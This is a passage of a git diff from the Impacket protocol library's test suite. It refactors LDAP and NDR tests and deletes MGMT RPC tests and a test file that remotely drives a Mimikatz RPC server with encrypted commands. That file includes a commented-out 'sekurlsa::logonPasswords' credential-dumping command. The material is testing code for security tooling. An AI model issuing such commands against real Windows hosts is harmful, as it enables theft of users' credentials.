def setUp(self): - LDAPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.url = 'ldaps://%s' % self.serverName - self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] ) + super(LDAPTestsSSLTransport, self).setUp() + self.url = "ldaps://%s" % self.serverName + # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_mgmt.py b/tests/SMB_RPC/test_mgmt.py deleted file mode 100644 index 744370de73..0000000000 --- a/tests/SMB_RPC/test_mgmt.py +++ /dev/null @@ -1,188 +0,0 @@ -############################################################################### -# Tested so far: -# -# Not yet: -# -# Shouldn't dump errors against a win7 -# -################################################################################ - -from __future__ import division -from __future__ import print_function -import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import mgmt - - -class MGMTTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(mgmt.MSRPC_UUID_MGMT, transfer_syntax = self.ts) - - return dce, rpctransport - - def test_inq_if_ids(self): - dce, transport = self.connect() - - request = mgmt.inq_if_ids() - resp = dce.request(request) - resp.dump() - #for i in range(resp['if_id_vector']['count']): - # print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData()) - # print - - def test_hinq_if_ids(self): - dce, transport = self.connect() - - resp = mgmt.hinq_if_ids(dce) - resp.dump() - - def test_inq_stats(self): - dce, transport = self.connect() - - request = mgmt.inq_stats() - request['count'] = 40 - resp = dce.request(request) - resp.dump() - - def test_hinq_stats(self): - dce, transport = self.connect() - - resp = mgmt.hinq_stats(dce) - resp.dump() - - def test_is_server_listening(self): - dce, transport = self.connect() - - request = mgmt.is_server_listening() - resp = dce.request(request, checkError=False) - resp.dump() - - def test_his_server_listening(self): - dce, transport = self.connect() - - resp = mgmt.his_server_listening(dce) - resp.dump() - - def test_stop_server_listening(self): - dce, transport = self.connect() - - request = mgmt.stop_server_listening() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise - - def test_hstop_server_listening(self): - dce, transport = self.connect() - - try: - resp = mgmt.hstop_server_listening(dce) - resp.dump() - except Exception as e: - if str(e).find('rpc_s_access_denied') < 0: - raise - - def test_inq_princ_name(self): - dce, transport = self.connect() - - request = mgmt.inq_princ_name() - request['authn_proto'] = 0 - request['princ_name_size'] = 32 - resp = dce.request(request, checkError=False) - resp.dump() - - def test_his_server_listening(self): - dce, transport = self.connect() - - resp = mgmt.hinq_princ_name(dce) - resp.dump() - - -class SMBTransport(MGMTTests): - def setUp(self): - MGMTTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport(MGMTTests): - def setUp(self): - MGMTTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(MGMTTests): - def setUp(self): - MGMTTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -class TCPTransport64(MGMTTests): - def setUp(self): - MGMTTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - #suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport64) - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_mimilib.py b/tests/SMB_RPC/test_mimilib.py deleted file mode 100644 index 4937ede316..0000000000 --- a/tests/SMB_RPC/test_mimilib.py +++ /dev/null @@ -1,123 +0,0 @@ -############################################################################### -# Tested so far: -# -# -# Not yet: -# -# -# Shouldn't dump errors against a win7 -# -################################################################################ - -import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import mimilib, epm -from impacket.winregistry import hexdump - - -class RRPTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - rpctransport.set_connect_timeout(30000) - #if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - # rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(mimilib.MSRPC_UUID_MIMIKATZ, transfer_syntax = self.ts) - dh = mimilib.MimiDiffeH() - blob = mimilib.PUBLICKEYBLOB() - blob['y'] = dh.genPublicKey()[::-1] - request = mimilib.MimiBind() - request['clientPublicKey']['sessionType'] = mimilib.CALG_RC4 - request['clientPublicKey']['cbPublicKey'] = 144 - request['clientPublicKey']['pbPublicKey'] = blob.getData() - resp = dce.request(request) - blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) - key = dh.getSharedSecret(blob['y'][::-1]) - pHandle = resp['phMimi'] - - return dce, rpctransport, pHandle, key[-16:] - - def test_MimiBind(self): - dce, rpctransport, pHandle, key = self.connect() - dh = mimilib.MimiDiffeH() - print('Our Public') - print('='*80) - hexdump(dh.genPublicKey()) - - blob = mimilib.PUBLICKEYBLOB() - blob['y'] = dh.genPublicKey()[::-1] - request = mimilib.MimiBind() - request['clientPublicKey']['sessionType'] = mimilib.CALG_RC4 - request['clientPublicKey']['cbPublicKey'] = 144 - request['clientPublicKey']['pbPublicKey'] = blob.getData() - - resp = dce.request(request) - blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) - print('='*80) - print('Server Public') - hexdump(blob['y']) - print('='*80) - print('Shared') - hexdump(dh.getSharedSecret(blob['y'][::-1])) - resp.dump() - - def test_MimiCommand(self): - dce, rpctransport, pHandle, key = self.connect() - from Cryptodome.Cipher import ARC4 - cipher = ARC4.new(key[::-1]) - command = cipher.encrypt('token::whoami\x00'.encode('utf-16le')) - #command = cipher.encrypt('sekurlsa::logonPasswords\x00'.encode('utf-16le')) - #command = cipher.encrypt('process::imports\x00'.encode('utf-16le')) - request = mimilib.MimiCommand() - request['phMimi'] = pHandle - request['szEncCommand'] = len(command) - request['encCommand'] = list(command) - resp = dce.request(request) - cipherText = b''.join(resp['encResult']) - cipher = ARC4.new(key[::-1]) - plain = cipher.decrypt(cipherText) - print('='*80) - print(plain) - #resp.dump() - - def test_MimiUnBind(self): - dce, rpctransport, pHandle, key = self.connect() - request = mimilib.MimiUnbind() - request['phMimi'] = pHandle - hexdump(request.getData()) - resp = dce.request(request) - resp.dump() - -class TCPTransport(RRPTests): - def setUp(self): - RRPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_ndr.py b/tests/SMB_RPC/test_ndr.py index 2cc7af47d7..940c0f38df 100644 --- a/tests/SMB_RPC/test_ndr.py +++ b/tests/SMB_RPC/test_ndr.py @@ -1,5 +1,16 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import division from __future__ import print_function + +import unittest + from impacket.dcerpc.v5.samr import SamrLookupNamesInDomainResponse, SamrLookupIdsInDomain from impacket.dcerpc.v5.drsuapi import DRSCrackNamesResponse,DRSDomainControllerInfoResponse,DRSGetNCChangesResponse from impacket.winregistry import hexdump @@ -14,10 +25,10 @@ from impacket.dcerpc.v5.epm import ept_lookupResponse from impacket.uuid import string_to_bin, uuidtup_to_bin -import unittest class NDRTests(unittest.TestCase): NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) + def test_1(self): # crackNamesResponse = b'\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x05\x00\x00\x00\x04\x00\x02\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x02\x00q\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xbf\xbf\x00\x00\x00\x00' @@ -30,7 +41,7 @@ def test_1(self): print("ORIG") #hexdump(crackNamesResponse) #hexdump(output) - self.assertTrue(crackNamesResponse == output) + self.assertEqual(crackNamesResponse, output) #print repr(output) def test_2(self): @@ -46,7 +57,7 @@ def test_2(self): hexdump(domainControllerInfoResponse) hexdump(output) #print "ORIG: %d, REPACKED: %d" % (len(domainControllerInfoResponse), len(output)) - self.assertTrue(domainControllerInfoResponse == output) + self.assertEqual(domainControllerInfoResponse, output) def test_3(self): # @@ -64,7 +75,7 @@ def test_3(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(getNCChangesResponse) == len(output)) + self.assertEqual(len(getNCChangesResponse), len(output)) def test_4(self): # @@ -80,7 +91,7 @@ def test_4(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(getNCChangesResponse) == len(output)) + self.assertEqual(len(getNCChangesResponse), len(output)) def test_5(self): # @@ -98,7 +109,7 @@ def test_5(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(samrLookupNamesInDomainResponse == output) + self.assertEqual(samrLookupNamesInDomainResponse, output) def test_6(self): lsarGetUserNameResponse = b'\x00\x00\x02\x00\n\x00\x0c\x00\x04\x00\x02\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00a\x00d\x00m\x00i\x00n\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00' @@ -115,7 +126,7 @@ def test_6(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(lsarGetUserNameResponse == output) + self.assertEqual(lsarGetUserNameResponse, output) def test_8(self): lsarLookupSids2Response = b'\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00 \x00\x00\x00\xef\xef\xef\xef\x01\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x10\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00\xee\xee\x04\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x02\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xab\xab\xab\xab\x1a\x00\x1a\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xab\xab\xab\xab\n\x00\n\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00A\x00d\x00m\x00i\x00n\x00i\x00s\x00t\x00r\x00a\x00t\x00o\x00r\x00\xab\xab\xab\xab\xab\xab\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00G\x00u\x00e\x00s\x00t\x00\xbf\xbf\x02\x00\x00\x00\x00\x00\x00\x00' @@ -132,7 +143,7 @@ def test_8(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(lsarLookupSids2Response == output) + self.assertEqual(lsarLookupSids2Response, output) def test_88(self): baseRegEnumValueResponse = b' \x00\xc8\x00\x00\x00\x02\x00d\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00R\x00e\x00g\x00i\x00s\x00t\x00e\x00r\x00e\x00d\x00O\x00w\x00n\x00e\x00r\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x08\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\x00\x00\x0c\x00\x02\x00\x14\x00\x00\x00\x10\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00' @@ -149,7 +160,7 @@ def test_88(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(baseRegEnumValueResponse == output) + self.assertEqual(baseRegEnumValueResponse, output) def test_9(self): rCreateServiceWResponse = b'\x00\x00\x00\x00\x00\x00\x00\x00ZU\x81\xedB>RL\xb9v\xb1\xe3\xc5?~\x15\x00\x00\x00\x00' @@ -166,7 +177,7 @@ def test_9(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(rCreateServiceWResponse == output) + self.assertEqual(rCreateServiceWResponse, output) def test_10(self): netrShareEnum = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xbc\xbc\xbc\x00\x00\x00\x00\xbd\xbd\xbd\xbd\xfc\xb1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xbc\xbc\xbc\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00' @@ -188,7 +199,7 @@ def test_10(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(netrShareEnum) == len(output)) + self.assertEqual(len(netrShareEnum), len(output)) def test_11(self): ept_lookup_resp = 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Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00Spooler function endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00Spooler base remote object endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00Spooler function 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\x00OLE4B669A0A60C84C56926EB66DC651\x00\x00\x00\x00\x00' @@ -205,7 +216,7 @@ def test_11(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(ept_lookup_resp) == len(output)) + self.assertEqual(len(ept_lookup_resp), len(output)) def test_12(self): ept_mapReq = b'\x87d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001j\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x00\x00\x01\x00\t\x04\x00\x00\x00\x00\x00\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00' @@ -254,7 +265,7 @@ def test_12(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(ept_mapReq) == len(output)) + self.assertEqual(len(ept_mapReq), len(output)) def test_13(self): baseRegGetKeySecurityResponse = b'\x00\x00\x02\x00\x00\x04\x00\x00$\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x01\x00\x00\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x00\x00' @@ -271,7 +282,7 @@ def test_13(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(baseRegGetKeySecurityResponse == output) + self.assertEqual(baseRegGetKeySecurityResponse, output) def test_14(self): samrLookupIdsInDomain = b'\x00\x00\x00\x00Bz\x94j&\\:E\xacS\xae\xa9c\xa8\xc5\xfb\x02\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xf4\x01\x00\x00\xf5\x01\x00\x00' @@ -298,7 +309,7 @@ def test_14(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(samrLookupIdsInDomain) == len(output)) + self.assertEqual(len(samrLookupIdsInDomain), len(output)) def test_15(self): baseRegQueryMultipleValues = b'\x00\x00\x00\x00Ah?\x10^>GG\xbco\xa1\xc4(\x86\xbcR\xbf\xbf\xbf\xbf\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xfan\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xdd\xdd\xdd\xddk\x86\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xdd\xdd\xdd\xdd\xe3i\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xcc\xcc\xcc\xcc\x18\x00\x18\x00\xbc\xbc\xbc\xbc/:\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00P\x00r\x00o\x00d\x00u\x00c\x00t\x00N\x00a\x00m\x00e\x00\x00\x00\x16\x00\x16\x00\xbc\xbc\xbc\xbc\x0c-\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00S\x00y\x00s\x00t\x00e\x00m\x00R\x00o\x00o\x00t\x00\x00\x00\xcc\xcc\x14\x00\x14\x00\xbc\xbc\xbc\xbci\xab\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00E\x00d\x00i\x00t\x00i\x00o\x00n\x00I\x00D\x00\x00\x00\x03\x00\x00\x00?\x8b\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00 \x80\x00\x00\x00' @@ -344,7 +355,7 @@ def test_15(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(baseRegQueryMultipleValues) == len(output)) + self.assertEqual(len(baseRegQueryMultipleValues), len(output)) def test_16(self): complexPing = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\xaa\xaa\x92\xeb\x00\x00\x02\x00\x00\x00\xce\xc9\x00\x89\xd1\xd2\xad\x0f\x0f\x9fW\xceN\xf5bN\xb0\x92\x00\x00\x01\x00\x00\x00\xce\xc9\x00\x89\xd1\xd2\xad\x0f' @@ -361,7 +372,7 @@ def test_16(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(len(complexPing) == len(output)) + self.assertEqual(len(complexPing), len(output)) def test_17(self): # @@ -379,13 +390,8 @@ def test_17(self): print("REPACKED") hexdump(output) print("="*80) - self.assertTrue(baseRegQueryValueResponse == output) + self.assertEqual(baseRegQueryValueResponse, output) + if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(NDRTests) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_nmb.py b/tests/SMB_RPC/test_nmb.py index 5042cd63ef..773af89033 100644 --- a/tests/SMB_RPC/test_nmb.py +++ b/tests/SMB_RPC/test_nmb.py @@ -1,26 +1,38 @@ -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser 